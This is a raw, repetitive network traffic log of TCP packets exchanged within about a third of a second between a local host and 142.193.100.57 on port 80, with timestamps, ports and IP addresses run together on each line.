        Nov 20, 2024 09:14:54.406796932 CET4970180192.168.2.1142.193.100.57
        Nov 20, 2024 09:14:54.406830072 CET4970180192.168.2.1142.193.100.57
        Nov 20, 2024 09:14:54.406882048 CET804970142.193.100.57192.168.2.11
        Nov 20, 2024 09:14:54.406924963 CET4970180192.168.2.1142.193.100.57
        Nov 20, 2024 09:14:54.407041073 CET804970142.193.100.57192.168.2.11
        Nov 20, 2024 09:14:54.407053947 CET804970142.193.100.57192.168.2.11
        Nov 20, 2024 09:14:54.407064915 CET804970142.193.100.57192.168.2.11
        Nov 20, 2024 09:14:54.407077074 CET804970142.193.100.57192.168.2.11
        Nov 20, 2024 09:14:54.407084942 CET4970180192.168.2.1142.193.100.57
        Nov 20, 2024 09:14:54.407088995 CET804970142.193.100.57192.168.2.11
        Nov 20, 2024 09:14:54.407125950 CET4970180192.168.2.1142.193.100.57
        Nov 20, 2024 09:14:54.407139063 CET4970180192.168.2.1142.193.100.57
        Nov 20, 2024 09:14:54.407196045 CET804970142.193.100.57192.168.2.11
        Nov 20, 2024 09:14:54.407207966 CET804970142.193.100.57192.168.2.11
        Nov 20, 2024 09:14:54.407231092 CET804970142.193.100.57192.168.2.11
        Nov 20, 2024 09:14:54.407234907 CET4970180192.168.2.1142.193.100.57
        Nov 20, 2024 09:14:54.407243967 CET804970142.193.100.57192.168.2.11
        Nov 20, 2024 09:14:54.407255888 CET804970142.193.100.57192.168.2.11
        Nov 20, 2024 09:14:54.407255888 CET4970180192.168.2.1142.193.100.57
        Nov 20, 2024 09:14:54.407269001 CET804970142.193.100.57192.168.2.11
        Nov 20, 2024 09:14:54.407279968 CET4970180192.168.2.1142.193.100.57
        Nov 20, 2024 09:14:54.407288074 CET4970180192.168.2.1142.193.100.57
        Nov 20, 2024 09:14:54.407321930 CET4970180192.168.2.1142.193.100.57
        Nov 20, 2024 09:14:54.407357931 CET804970142.193.100.57192.168.2.11
        Nov 20, 2024 09:14:54.407368898 CET804970142.193.100.57192.168.2.11
        Nov 20, 2024 09:14:54.407403946 CET4970180192.168.2.1142.193.100.57
        Nov 20, 2024 09:14:54.407574892 CET804970142.193.100.57192.168.2.11
        Nov 20, 2024 09:14:54.407588005 CET804970142.193.100.57192.168.2.11
        Nov 20, 2024 09:14:54.407598972 CET804970142.193.100.57192.168.2.11
        Nov 20, 2024 09:14:54.407608986 CET804970142.193.100.57192.168.2.11
        Nov 20, 2024 09:14:54.407617092 CET4970180192.168.2.1142.193.100.57
        Nov 20, 2024 09:14:54.407622099 CET804970142.193.100.57192.168.2.11
        Nov 20, 2024 09:14:54.407655001 CET4970180192.168.2.1142.193.100.57
        Nov 20, 2024 09:14:54.407681942 CET4970180192.168.2.1142.193.100.57
        Nov 20, 2024 09:14:54.407737017 CET804970142.193.100.57192.168.2.11
        Nov 20, 2024 09:14:54.407748938 CET804970142.193.100.57192.168.2.11
        Nov 20, 2024 09:14:54.407761097 CET804970142.193.100.57192.168.2.11
        Nov 20, 2024 09:14:54.407772064 CET804970142.193.100.57192.168.2.11
        Nov 20, 2024 09:14:54.407776117 CET4970180192.168.2.1142.193.100.57
        Nov 20, 2024 09:14:54.407788038 CET804970142.193.100.57192.168.2.11
        Nov 20, 2024 09:14:54.407799006 CET4970180192.168.2.1142.193.100.57
        Nov 20, 2024 09:14:54.407814980 CET4970180192.168.2.1142.193.100.57
        Nov 20, 2024 09:14:54.407819033 CET804970142.193.100.57192.168.2.11
        Nov 20, 2024 09:14:54.407854080 CET4970180192.168.2.1142.193.100.57
        Nov 20, 2024 09:14:54.407869101 CET4970180192.168.2.1142.193.100.57
        Nov 20, 2024 09:14:54.407886028 CET804970142.193.100.57192.168.2.11
        Nov 20, 2024 09:14:54.407896996 CET804970142.193.100.57192.168.2.11
        Nov 20, 2024 09:14:54.407908916 CET804970142.193.100.57192.168.2.11
        Nov 20, 2024 09:14:54.407919884 CET804970142.193.100.57192.168.2.11
        Nov 20, 2024 09:14:54.407926083 CET4970180192.168.2.1142.193.100.57
        Nov 20, 2024 09:14:54.407936096 CET4970180192.168.2.1142.193.100.57
        Nov 20, 2024 09:14:54.407963991 CET4970180192.168.2.1142.193.100.57
        Nov 20, 2024 09:14:54.408066034 CET804970142.193.100.57192.168.2.11
        Nov 20, 2024 09:14:54.408078909 CET804970142.193.100.57192.168.2.11
        Nov 20, 2024 09:14:54.408088923 CET804970142.193.100.57192.168.2.11
        Nov 20, 2024 09:14:54.408106089 CET804970142.193.100.57192.168.2.11
        Nov 20, 2024 09:14:54.408107996 CET4970180192.168.2.1142.193.100.57
        Nov 20, 2024 09:14:54.408139944 CET4970180192.168.2.1142.193.100.57
        Nov 20, 2024 09:14:54.408154011 CET4970180192.168.2.1142.193.100.57
        Nov 20, 2024 09:14:54.408230066 CET804970142.193.100.57192.168.2.11
        Nov 20, 2024 09:14:54.408241987 CET804970142.193.100.57192.168.2.11
        Nov 20, 2024 09:14:54.408255100 CET804970142.193.100.57192.168.2.11
        Nov 20, 2024 09:14:54.408274889 CET4970180192.168.2.1142.193.100.57
        Nov 20, 2024 09:14:54.408288956 CET4970180192.168.2.1142.193.100.57
        Nov 20, 2024 09:14:54.408296108 CET4970180192.168.2.1142.193.100.57
        Nov 20, 2024 09:14:54.408421040 CET804970142.193.100.57192.168.2.11
        Nov 20, 2024 09:14:54.408432007 CET804970142.193.100.57192.168.2.11
        Nov 20, 2024 09:14:54.408437967 CET804970142.193.100.57192.168.2.11
        Nov 20, 2024 09:14:54.408442974 CET804970142.193.100.57192.168.2.11
        Nov 20, 2024 09:14:54.408448935 CET804970142.193.100.57192.168.2.11
        Nov 20, 2024 09:14:54.408454895 CET804970142.193.100.57192.168.2.11
        Nov 20, 2024 09:14:54.408459902 CET804970142.193.100.57192.168.2.11
        Nov 20, 2024 09:14:54.408466101 CET804970142.193.100.57192.168.2.11
        Nov 20, 2024 09:14:54.408509016 CET4970180192.168.2.1142.193.100.57
        Nov 20, 2024 09:14:54.408535957 CET4970180192.168.2.1142.193.100.57
        Nov 20, 2024 09:14:54.408551931 CET804970142.193.100.57192.168.2.11
        Nov 20, 2024 09:14:54.408564091 CET804970142.193.100.57192.168.2.11
        Nov 20, 2024 09:14:54.408576012 CET804970142.193.100.57192.168.2.11
        Nov 20, 2024 09:14:54.408587933 CET804970142.193.100.57192.168.2.11
        Nov 20, 2024 09:14:54.408606052 CET4970180192.168.2.1142.193.100.57
        Nov 20, 2024 09:14:54.408606052 CET4970180192.168.2.1142.193.100.57
        Nov 20, 2024 09:14:54.408617020 CET4970180192.168.2.1142.193.100.57
        Nov 20, 2024 09:14:54.408634901 CET4970180192.168.2.1142.193.100.57
        Nov 20, 2024 09:14:54.408755064 CET804970142.193.100.57192.168.2.11
        Nov 20, 2024 09:14:54.408780098 CET804970142.193.100.57192.168.2.11
        Nov 20, 2024 09:14:54.408792973 CET804970142.193.100.57192.168.2.11
        Nov 20, 2024 09:14:54.408796072 CET4970180192.168.2.1142.193.100.57
        Nov 20, 2024 09:14:54.408813000 CET804970142.193.100.57192.168.2.11
        Nov 20, 2024 09:14:54.408822060 CET4970180192.168.2.1142.193.100.57
        Nov 20, 2024 09:14:54.408824921 CET804970142.193.100.57192.168.2.11
        Nov 20, 2024 09:14:54.408830881 CET4970180192.168.2.1142.193.100.57
        Nov 20, 2024 09:14:54.408838034 CET804970142.193.100.57192.168.2.11
        Nov 20, 2024 09:14:54.408849001 CET804970142.193.100.57192.168.2.11
        Nov 20, 2024 09:14:54.408854961 CET4970180192.168.2.1142.193.100.57
        Nov 20, 2024 09:14:54.408860922 CET804970142.193.100.57192.168.2.11
        Nov 20, 2024 09:14:54.408870935 CET4970180192.168.2.1142.193.100.57
        Nov 20, 2024 09:14:54.408874035 CET804970142.193.100.57192.168.2.11
        Nov 20, 2024 09:14:54.408885002 CET804970142.193.100.57192.168.2.11
        Nov 20, 2024 09:14:54.408898115 CET804970142.193.100.57192.168.2.11
        Nov 20, 2024 09:14:54.408902884 CET4970180192.168.2.1142.193.100.57
        Nov 20, 2024 09:14:54.408927917 CET4970180192.168.2.1142.193.100.57
        Nov 20, 2024 09:14:54.408936024 CET4970180192.168.2.1142.193.100.57
        Nov 20, 2024 09:14:54.408986092 CET804970142.193.100.57192.168.2.11
        Nov 20, 2024 09:14:54.408998013 CET804970142.193.100.57192.168.2.11
        Nov 20, 2024 09:14:54.409008026 CET804970142.193.100.57192.168.2.11
        Nov 20, 2024 09:14:54.409020901 CET804970142.193.100.57192.168.2.11
        Nov 20, 2024 09:14:54.409022093 CET4970180192.168.2.1142.193.100.57
        Nov 20, 2024 09:14:54.409032106 CET804970142.193.100.57192.168.2.11
        Nov 20, 2024 09:14:54.409043074 CET4970180192.168.2.1142.193.100.57
        Nov 20, 2024 09:14:54.409069061 CET4970180192.168.2.1142.193.100.57
        Nov 20, 2024 09:14:54.409332037 CET804970142.193.100.57192.168.2.11
        Nov 20, 2024 09:14:54.409343958 CET804970142.193.100.57192.168.2.11
        Nov 20, 2024 09:14:54.409356117 CET804970142.193.100.57192.168.2.11
        Nov 20, 2024 09:14:54.409375906 CET4970180192.168.2.1142.193.100.57
        Nov 20, 2024 09:14:54.409389019 CET4970180192.168.2.1142.193.100.57
        Nov 20, 2024 09:14:54.409503937 CET804970142.193.100.57192.168.2.11
        Nov 20, 2024 09:14:54.409514904 CET804970142.193.100.57192.168.2.11
        Nov 20, 2024 09:14:54.409532070 CET804970142.193.100.57192.168.2.11
        Nov 20, 2024 09:14:54.409542084 CET804970142.193.100.57192.168.2.11
        Nov 20, 2024 09:14:54.409554958 CET4970180192.168.2.1142.193.100.57
        Nov 20, 2024 09:14:54.409555912 CET804970142.193.100.57192.168.2.11
        Nov 20, 2024 09:14:54.409565926 CET4970180192.168.2.1142.193.100.57
        Nov 20, 2024 09:14:54.409569979 CET804970142.193.100.57192.168.2.11
        Nov 20, 2024 09:14:54.409583092 CET804970142.193.100.57192.168.2.11
        Nov 20, 2024 09:14:54.409594059 CET804970142.193.100.57192.168.2.11
        Nov 20, 2024 09:14:54.409598112 CET4970180192.168.2.1142.193.100.57
        Nov 20, 2024 09:14:54.409610033 CET4970180192.168.2.1142.193.100.57
        Nov 20, 2024 09:14:54.409626007 CET4970180192.168.2.1142.193.100.57
        Nov 20, 2024 09:14:54.409641027 CET804970142.193.100.57192.168.2.11
        Nov 20, 2024 09:14:54.409653902 CET804970142.193.100.57192.168.2.11
        Nov 20, 2024 09:14:54.409681082 CET4970180192.168.2.1142.193.100.57
        Nov 20, 2024 09:14:54.409693956 CET4970180192.168.2.1142.193.100.57
        Nov 20, 2024 09:14:54.409868002 CET804970142.193.100.57192.168.2.11
        Nov 20, 2024 09:14:54.409879923 CET804970142.193.100.57192.168.2.11
        Nov 20, 2024 09:14:54.409892082 CET804970142.193.100.57192.168.2.11
        Nov 20, 2024 09:14:54.409903049 CET804970142.193.100.57192.168.2.11
        Nov 20, 2024 09:14:54.409907103 CET4970180192.168.2.1142.193.100.57
        Nov 20, 2024 09:14:54.409914970 CET804970142.193.100.57192.168.2.11
        Nov 20, 2024 09:14:54.409919024 CET4970180192.168.2.1142.193.100.57
        Nov 20, 2024 09:14:54.409938097 CET4970180192.168.2.1142.193.100.57
        Nov 20, 2024 09:14:54.409965038 CET4970180192.168.2.1142.193.100.57
        Nov 20, 2024 09:14:54.410027027 CET804970142.193.100.57192.168.2.11
        Nov 20, 2024 09:14:54.410037994 CET804970142.193.100.57192.168.2.11
        Nov 20, 2024 09:14:54.410048008 CET804970142.193.100.57192.168.2.11
        Nov 20, 2024 09:14:54.410059929 CET804970142.193.100.57192.168.2.11
        Nov 20, 2024 09:14:54.410067081 CET4970180192.168.2.1142.193.100.57
        Nov 20, 2024 09:14:54.410073042 CET804970142.193.100.57192.168.2.11
        Nov 20, 2024 09:14:54.410084009 CET804970142.193.100.57192.168.2.11
        Nov 20, 2024 09:14:54.410088062 CET4970180192.168.2.1142.193.100.57
        Nov 20, 2024 09:14:54.410095930 CET804970142.193.100.57192.168.2.11
        Nov 20, 2024 09:14:54.410118103 CET4970180192.168.2.1142.193.100.57
        Nov 20, 2024 09:14:54.410130024 CET4970180192.168.2.1142.193.100.57
        Nov 20, 2024 09:14:54.410326004 CET804970142.193.100.57192.168.2.11
        Nov 20, 2024 09:14:54.410336971 CET804970142.193.100.57192.168.2.11
        Nov 20, 2024 09:14:54.410342932 CET804970142.193.100.57192.168.2.11
        Nov 20, 2024 09:14:54.410348892 CET804970142.193.100.57192.168.2.11
        Nov 20, 2024 09:14:54.410353899 CET804970142.193.100.57192.168.2.11
        Nov 20, 2024 09:14:54.410365105 CET804970142.193.100.57192.168.2.11
        Nov 20, 2024 09:14:54.410388947 CET4970180192.168.2.1142.193.100.57
        Nov 20, 2024 09:14:54.410407066 CET4970180192.168.2.1142.193.100.57
        Nov 20, 2024 09:14:54.410516024 CET804970142.193.100.57192.168.2.11
        Nov 20, 2024 09:14:54.410556078 CET4970180192.168.2.1142.193.100.57
        Nov 20, 2024 09:14:54.492444038 CET804970142.193.100.57192.168.2.11
        Nov 20, 2024 09:14:54.492516041 CET4970180192.168.2.1142.193.100.57
        Nov 20, 2024 09:14:54.492568970 CET804970142.193.100.57192.168.2.11
        Nov 20, 2024 09:14:54.492580891 CET804970142.193.100.57192.168.2.11
        Nov 20, 2024 09:14:54.492594004 CET804970142.193.100.57192.168.2.11
        Nov 20, 2024 09:14:54.492605925 CET804970142.193.100.57192.168.2.11
        Nov 20, 2024 09:14:54.492707968 CET4970180192.168.2.1142.193.100.57
        Nov 20, 2024 09:14:54.492707968 CET4970180192.168.2.1142.193.100.57
        Nov 20, 2024 09:14:54.492726088 CET804970142.193.100.57192.168.2.11
        Nov 20, 2024 09:14:54.492738008 CET804970142.193.100.57192.168.2.11
        Nov 20, 2024 09:14:54.492749929 CET804970142.193.100.57192.168.2.11
        Nov 20, 2024 09:14:54.492765903 CET4970180192.168.2.1142.193.100.57
        Nov 20, 2024 09:14:54.492789984 CET4970180192.168.2.1142.193.100.57
        Nov 20, 2024 09:14:54.492918015 CET804970142.193.100.57192.168.2.11
        Nov 20, 2024 09:14:54.492929935 CET804970142.193.100.57192.168.2.11
        Nov 20, 2024 09:14:54.492940903 CET804970142.193.100.57192.168.2.11
        Nov 20, 2024 09:14:54.492950916 CET804970142.193.100.57192.168.2.11
        Nov 20, 2024 09:14:54.492959976 CET4970180192.168.2.1142.193.100.57
        Nov 20, 2024 09:14:54.492964983 CET804970142.193.100.57192.168.2.11
        Nov 20, 2024 09:14:54.492980957 CET4970180192.168.2.1142.193.100.57
        Nov 20, 2024 09:14:54.493005991 CET4970180192.168.2.1142.193.100.57
        Nov 20, 2024 09:14:54.493089914 CET804970142.193.100.57192.168.2.11
        Nov 20, 2024 09:14:54.493102074 CET804970142.193.100.57192.168.2.11
        Nov 20, 2024 09:14:54.493113041 CET804970142.193.100.57192.168.2.11
        Nov 20, 2024 09:14:54.493124008 CET804970142.193.100.57192.168.2.11
        Nov 20, 2024 09:14:54.493128061 CET4970180192.168.2.1142.193.100.57
        Nov 20, 2024 09:14:54.493135929 CET804970142.193.100.57192.168.2.11
        Nov 20, 2024 09:14:54.493144989 CET4970180192.168.2.1142.193.100.57
        Nov 20, 2024 09:14:54.493177891 CET4970180192.168.2.1142.193.100.57
        Nov 20, 2024 09:14:54.493275881 CET804970142.193.100.57192.168.2.11
        Nov 20, 2024 09:14:54.493298054 CET804970142.193.100.57192.168.2.11
        Nov 20, 2024 09:14:54.493309021 CET804970142.193.100.57192.168.2.11
        Nov 20, 2024 09:14:54.493320942 CET804970142.193.100.57192.168.2.11
        Nov 20, 2024 09:14:54.493323088 CET4970180192.168.2.1142.193.100.57
        Nov 20, 2024 09:14:54.493333101 CET804970142.193.100.57192.168.2.11
        Nov 20, 2024 09:14:54.493340969 CET4970180192.168.2.1142.193.100.57
        Nov 20, 2024 09:14:54.493345976 CET804970142.193.100.57192.168.2.11
        Nov 20, 2024 09:14:54.493357897 CET804970142.193.100.57192.168.2.11
        Nov 20, 2024 09:14:54.493369102 CET804970142.193.100.57192.168.2.11
        Nov 20, 2024 09:14:54.493370056 CET4970180192.168.2.1142.193.100.57
        Nov 20, 2024 09:14:54.493381023 CET804970142.193.100.57192.168.2.11
        Nov 20, 2024 09:14:54.493392944 CET804970142.193.100.57192.168.2.11
        Nov 20, 2024 09:14:54.493392944 CET4970180192.168.2.1142.193.100.57
        Nov 20, 2024 09:14:54.493403912 CET804970142.193.100.57192.168.2.11
        Nov 20, 2024 09:14:54.493413925 CET4970180192.168.2.1142.193.100.57
        Nov 20, 2024 09:14:54.493416071 CET804970142.193.100.57192.168.2.11
        Nov 20, 2024 09:14:54.493436098 CET804970142.193.100.57192.168.2.11
        Nov 20, 2024 09:14:54.493443012 CET4970180192.168.2.1142.193.100.57
        Nov 20, 2024 09:14:54.493454933 CET804970142.193.100.57192.168.2.11
        Nov 20, 2024 09:14:54.493458986 CET4970180192.168.2.1142.193.100.57
        Nov 20, 2024 09:14:54.493468046 CET804970142.193.100.57192.168.2.11
        Nov 20, 2024 09:14:54.493479013 CET804970142.193.100.57192.168.2.11
        Nov 20, 2024 09:14:54.493483067 CET4970180192.168.2.1142.193.100.57
        Nov 20, 2024 09:14:54.493489981 CET804970142.193.100.57192.168.2.11
        Nov 20, 2024 09:14:54.493504047 CET4970180192.168.2.1142.193.100.57
        Nov 20, 2024 09:14:54.493504047 CET804970142.193.100.57192.168.2.11
        Nov 20, 2024 09:14:54.493518114 CET804970142.193.100.57192.168.2.11
        Nov 20, 2024 09:14:54.493529081 CET4970180192.168.2.1142.193.100.57
        Nov 20, 2024 09:14:54.493535995 CET804970142.193.100.57192.168.2.11
        Nov 20, 2024 09:14:54.493541002 CET4970180192.168.2.1142.193.100.57
        Nov 20, 2024 09:14:54.493549109 CET804970142.193.100.57192.168.2.11
        Nov 20, 2024 09:14:54.493560076 CET804970142.193.100.57192.168.2.11
        Nov 20, 2024 09:14:54.493571043 CET804970142.193.100.57192.168.2.11
        Nov 20, 2024 09:14:54.493571043 CET4970180192.168.2.1142.193.100.57
        Nov 20, 2024 09:14:54.493577957 CET804970142.193.100.57192.168.2.11
        Nov 20, 2024 09:14:54.493590117 CET804970142.193.100.57192.168.2.11
        Nov 20, 2024 09:14:54.493592978 CET4970180192.168.2.1142.193.100.57
        Nov 20, 2024 09:14:54.493606091 CET804970142.193.100.57192.168.2.11
        Nov 20, 2024 09:14:54.493618011 CET804970142.193.100.57192.168.2.11
        Nov 20, 2024 09:14:54.493619919 CET4970180192.168.2.1142.193.100.57
        Nov 20, 2024 09:14:54.493628979 CET804970142.193.100.57192.168.2.11
        Nov 20, 2024 09:14:54.493628979 CET4970180192.168.2.1142.193.100.57
        Nov 20, 2024 09:14:54.493637085 CET804970142.193.100.57192.168.2.11
        Nov 20, 2024 09:14:54.493643045 CET804970142.193.100.57192.168.2.11
        Nov 20, 2024 09:14:54.493649006 CET804970142.193.100.57192.168.2.11
        Nov 20, 2024 09:14:54.493659019 CET4970180192.168.2.1142.193.100.57
        Nov 20, 2024 09:14:54.493704081 CET4970180192.168.2.1142.193.100.57
        Nov 20, 2024 09:14:54.493740082 CET804970142.193.100.57192.168.2.11
        Nov 20, 2024 09:14:54.493752003 CET804970142.193.100.57192.168.2.11
        Nov 20, 2024 09:14:54.493771076 CET804970142.193.100.57192.168.2.11
        Nov 20, 2024 09:14:54.493778944 CET4970180192.168.2.1142.193.100.57
        Nov 20, 2024 09:14:54.493782997 CET804970142.193.100.57192.168.2.11
        Nov 20, 2024 09:14:54.493794918 CET804970142.193.100.57192.168.2.11
        Nov 20, 2024 09:14:54.493803024 CET4970180192.168.2.1142.193.100.57
        Nov 20, 2024 09:14:54.493807077 CET804970142.193.100.57192.168.2.11
        Nov 20, 2024 09:14:54.493818998 CET804970142.193.100.57192.168.2.11
        Nov 20, 2024 09:14:54.493828058 CET4970180192.168.2.1142.193.100.57
        Nov 20, 2024 09:14:54.493829966 CET804970142.193.100.57192.168.2.11
        Nov 20, 2024 09:14:54.493855953 CET4970180192.168.2.1142.193.100.57
        Nov 20, 2024 09:14:54.493880987 CET4970180192.168.2.1142.193.100.57
        Nov 20, 2024 09:14:54.698267937 CET804970142.193.100.57192.168.2.11
        Nov 20, 2024 09:14:54.698291063 CET804970142.193.100.57192.168.2.11
        Nov 20, 2024 09:14:54.698302984 CET804970142.193.100.57192.168.2.11
        Nov 20, 2024 09:14:54.698319912 CET4970180192.168.2.1142.193.100.57
        Nov 20, 2024 09:14:54.698323965 CET804970142.193.100.57192.168.2.11
        Nov 20, 2024 09:14:54.698335886 CET804970142.193.100.57192.168.2.11
        Nov 20, 2024 09:14:54.698348999 CET4970180192.168.2.1142.193.100.57
        Nov 20, 2024 09:14:54.698349953 CET804970142.193.100.57192.168.2.11
        Nov 20, 2024 09:14:54.698365927 CET4970180192.168.2.1142.193.100.57
        Nov 20, 2024 09:14:54.698373079 CET804970142.193.100.57192.168.2.11
        Nov 20, 2024 09:14:54.698386908 CET804970142.193.100.57192.168.2.11
        Nov 20, 2024 09:14:54.698394060 CET4970180192.168.2.1142.193.100.57
        Nov 20, 2024 09:14:54.698396921 CET804970142.193.100.57192.168.2.11
        Nov 20, 2024 09:14:54.698400974 CET4970180192.168.2.1142.193.100.57
        Nov 20, 2024 09:14:54.698416948 CET804970142.193.100.57192.168.2.11
        Nov 20, 2024 09:14:54.698426962 CET804970142.193.100.57192.168.2.11
        Nov 20, 2024 09:14:54.698434114 CET4970180192.168.2.1142.193.100.57
        Nov 20, 2024 09:14:54.698452950 CET4970180192.168.2.1142.193.100.57
        Nov 20, 2024 09:14:54.698456049 CET804970142.193.100.57192.168.2.11
        Nov 20, 2024 09:14:54.698462963 CET4970180192.168.2.1142.193.100.57
        Nov 20, 2024 09:14:54.698474884 CET804970142.193.100.57192.168.2.11
        Nov 20, 2024 09:14:54.698487043 CET804970142.193.100.57192.168.2.11
        Nov 20, 2024 09:14:54.698493958 CET4970180192.168.2.1142.193.100.57
        Nov 20, 2024 09:14:54.698498964 CET804970142.193.100.57192.168.2.11
        Nov 20, 2024 09:14:54.698507071 CET4970180192.168.2.1142.193.100.57
        Nov 20, 2024 09:14:54.698512077 CET804970142.193.100.57192.168.2.11
        Nov 20, 2024 09:14:54.698528051 CET4970180192.168.2.1142.193.100.57
        Nov 20, 2024 09:14:54.698544979 CET4970180192.168.2.1142.193.100.57
        Nov 20, 2024 09:14:54.698577881 CET804970142.193.100.57192.168.2.11
        Nov 20, 2024 09:14:54.698600054 CET804970142.193.100.57192.168.2.11
        Nov 20, 2024 09:14:54.698610067 CET804970142.193.100.57192.168.2.11
        Nov 20, 2024 09:14:54.698616982 CET4970180192.168.2.1142.193.100.57
        Nov 20, 2024 09:14:54.698621988 CET804970142.193.100.57192.168.2.11
        Nov 20, 2024 09:14:54.698632956 CET804970142.193.100.57192.168.2.11
        Nov 20, 2024 09:14:54.698645115 CET4970180192.168.2.1142.193.100.57
        Nov 20, 2024 09:14:54.698661089 CET804970142.193.100.57192.168.2.11
        Nov 20, 2024 09:14:54.698664904 CET4970180192.168.2.1142.193.100.57
        Nov 20, 2024 09:14:54.698679924 CET804970142.193.100.57192.168.2.11
        Nov 20, 2024 09:14:54.698694944 CET804970142.193.100.57192.168.2.11
        Nov 20, 2024 09:14:54.698695898 CET4970180192.168.2.1142.193.100.57
        Nov 20, 2024 09:14:54.698712111 CET804970142.193.100.57192.168.2.11
        Nov 20, 2024 09:14:54.698719978 CET4970180192.168.2.1142.193.100.57
        Nov 20, 2024 09:14:54.698738098 CET804970142.193.100.57192.168.2.11
        Nov 20, 2024 09:14:54.698739052 CET4970180192.168.2.1142.193.100.57
        Nov 20, 2024 09:14:54.698749065 CET4970180192.168.2.1142.193.100.57
        Nov 20, 2024 09:14:54.698751926 CET804970142.193.100.57192.168.2.11
        Nov 20, 2024 09:14:54.698765993 CET804970142.193.100.57192.168.2.11
        Nov 20, 2024 09:14:54.698772907 CET4970180192.168.2.1142.193.100.57
        Nov 20, 2024 09:14:54.698777914 CET804970142.193.100.57192.168.2.11
        Nov 20, 2024 09:14:54.698785067 CET4970180192.168.2.1142.193.100.57
        Nov 20, 2024 09:14:54.698791027 CET804970142.193.100.57192.168.2.11
        Nov 20, 2024 09:14:54.698807001 CET4970180192.168.2.1142.193.100.57
        Nov 20, 2024 09:14:54.698822975 CET4970180192.168.2.1142.193.100.57
        Nov 20, 2024 09:14:54.698828936 CET804970142.193.100.57192.168.2.11
        Nov 20, 2024 09:14:54.698839903 CET804970142.193.100.57192.168.2.11
        Nov 20, 2024 09:14:54.698842049 CET4970180192.168.2.1142.193.100.57
        Nov 20, 2024 09:14:54.698852062 CET804970142.193.100.57192.168.2.11
        Nov 20, 2024 09:14:54.698868036 CET4970180192.168.2.1142.193.100.57
        Nov 20, 2024 09:14:54.698882103 CET4970180192.168.2.1142.193.100.57
        Nov 20, 2024 09:14:54.698892117 CET804970142.193.100.57192.168.2.11
        Nov 20, 2024 09:14:54.698895931 CET4970180192.168.2.1142.193.100.57
        Nov 20, 2024 09:14:54.698905945 CET804970142.193.100.57192.168.2.11
        Nov 20, 2024 09:14:54.698924065 CET804970142.193.100.57192.168.2.11
        Nov 20, 2024 09:14:54.698930979 CET4970180192.168.2.1142.193.100.57
        Nov 20, 2024 09:14:54.698937893 CET804970142.193.100.57192.168.2.11
        Nov 20, 2024 09:14:54.698946953 CET4970180192.168.2.1142.193.100.57
        Nov 20, 2024 09:14:54.698956013 CET4970180192.168.2.1142.193.100.57
        Nov 20, 2024 09:14:54.698970079 CET804970142.193.100.57192.168.2.11
        Nov 20, 2024 09:14:54.698982954 CET4970180192.168.2.1142.193.100.57
        Nov 20, 2024 09:14:54.698990107 CET804970142.193.100.57192.168.2.11
        Nov 20, 2024 09:14:54.699001074 CET4970180192.168.2.1142.193.100.57
        Nov 20, 2024 09:14:54.699002028 CET804970142.193.100.57192.168.2.11
        Nov 20, 2024 09:14:54.699013948 CET4970180192.168.2.1142.193.100.57
        Nov 20, 2024 09:14:54.699016094 CET804970142.193.100.57192.168.2.11
        Nov 20, 2024 09:14:54.699043036 CET4970180192.168.2.1142.193.100.57
        Nov 20, 2024 09:14:54.699059963 CET4970180192.168.2.1142.193.100.57
        Nov 20, 2024 09:14:54.699069977 CET804970142.193.100.57192.168.2.11
        Nov 20, 2024 09:14:54.699081898 CET804970142.193.100.57192.168.2.11
        Nov 20, 2024 09:14:54.699093103 CET804970142.193.100.57192.168.2.11
        Nov 20, 2024 09:14:54.699104071 CET804970142.193.100.57192.168.2.11
        Nov 20, 2024 09:14:54.699104071 CET4970180192.168.2.1142.193.100.57
        Nov 20, 2024 09:14:54.699121952 CET4970180192.168.2.1142.193.100.57
        Nov 20, 2024 09:14:54.699151039 CET4970180192.168.2.1142.193.100.57
        Nov 20, 2024 09:14:54.699160099 CET804970142.193.100.57192.168.2.11
        Nov 20, 2024 09:14:54.699177980 CET804970142.193.100.57192.168.2.11
        Nov 20, 2024 09:14:54.699191093 CET804970142.193.100.57192.168.2.11
        Nov 20, 2024 09:14:54.699193954 CET4970180192.168.2.1142.193.100.57
        Nov 20, 2024 09:14:54.699208975 CET4970180192.168.2.1142.193.100.57
        Nov 20, 2024 09:14:54.699223042 CET4970180192.168.2.1142.193.100.57
        Nov 20, 2024 09:14:54.699234962 CET804970142.193.100.57192.168.2.11
        Nov 20, 2024 09:14:54.699248075 CET804970142.193.100.57192.168.2.11
        Nov 20, 2024 09:14:54.699259043 CET804970142.193.100.57192.168.2.11
        Nov 20, 2024 09:14:54.699274063 CET804970142.193.100.57192.168.2.11
        Nov 20, 2024 09:14:54.699279070 CET4970180192.168.2.1142.193.100.57
        Nov 20, 2024 09:14:54.699287891 CET804970142.193.100.57192.168.2.11
        Nov 20, 2024 09:14:54.699301958 CET4970180192.168.2.1142.193.100.57
        Nov 20, 2024 09:14:54.699309111 CET4970180192.168.2.1142.193.100.57
        Nov 20, 2024 09:14:54.699322939 CET804970142.193.100.57192.168.2.11
        Nov 20, 2024 09:14:54.699336052 CET4970180192.168.2.1142.193.100.57
        Nov 20, 2024 09:14:54.699357033 CET4970180192.168.2.1142.193.100.57
        Nov 20, 2024 09:14:54.699361086 CET804970142.193.100.57192.168.2.11
        Nov 20, 2024 09:14:54.699374914 CET804970142.193.100.57192.168.2.11
        Nov 20, 2024 09:14:54.699385881 CET804970142.193.100.57192.168.2.11
        Nov 20, 2024 09:14:54.699398041 CET4970180192.168.2.1142.193.100.57
        Nov 20, 2024 09:14:54.699405909 CET4970180192.168.2.1142.193.100.57
        Nov 20, 2024 09:14:54.699421883 CET4970180192.168.2.1142.193.100.57
        Nov 20, 2024 09:14:54.699450016 CET804970142.193.100.57192.168.2.11
        Nov 20, 2024 09:14:54.699460983 CET804970142.193.100.57192.168.2.11
        Nov 20, 2024 09:14:54.699472904 CET804970142.193.100.57192.168.2.11
        Nov 20, 2024 09:14:54.699479103 CET804970142.193.100.57192.168.2.11
        Nov 20, 2024 09:14:54.699489117 CET4970180192.168.2.1142.193.100.57
        Nov 20, 2024 09:14:54.699490070 CET804970142.193.100.57192.168.2.11
        Nov 20, 2024 09:14:54.699502945 CET4970180192.168.2.1142.193.100.57
        Nov 20, 2024 09:14:54.699517012 CET804970142.193.100.57192.168.2.11
        Nov 20, 2024 09:14:54.699531078 CET804970142.193.100.57192.168.2.11
        Nov 20, 2024 09:14:54.699537992 CET4970180192.168.2.1142.193.100.57
        Nov 20, 2024 09:14:54.699538946 CET804970142.193.100.57192.168.2.11
        Nov 20, 2024 09:14:54.699548960 CET804970142.193.100.57192.168.2.11
        Nov 20, 2024 09:14:54.699583054 CET804970142.193.100.57192.168.2.11
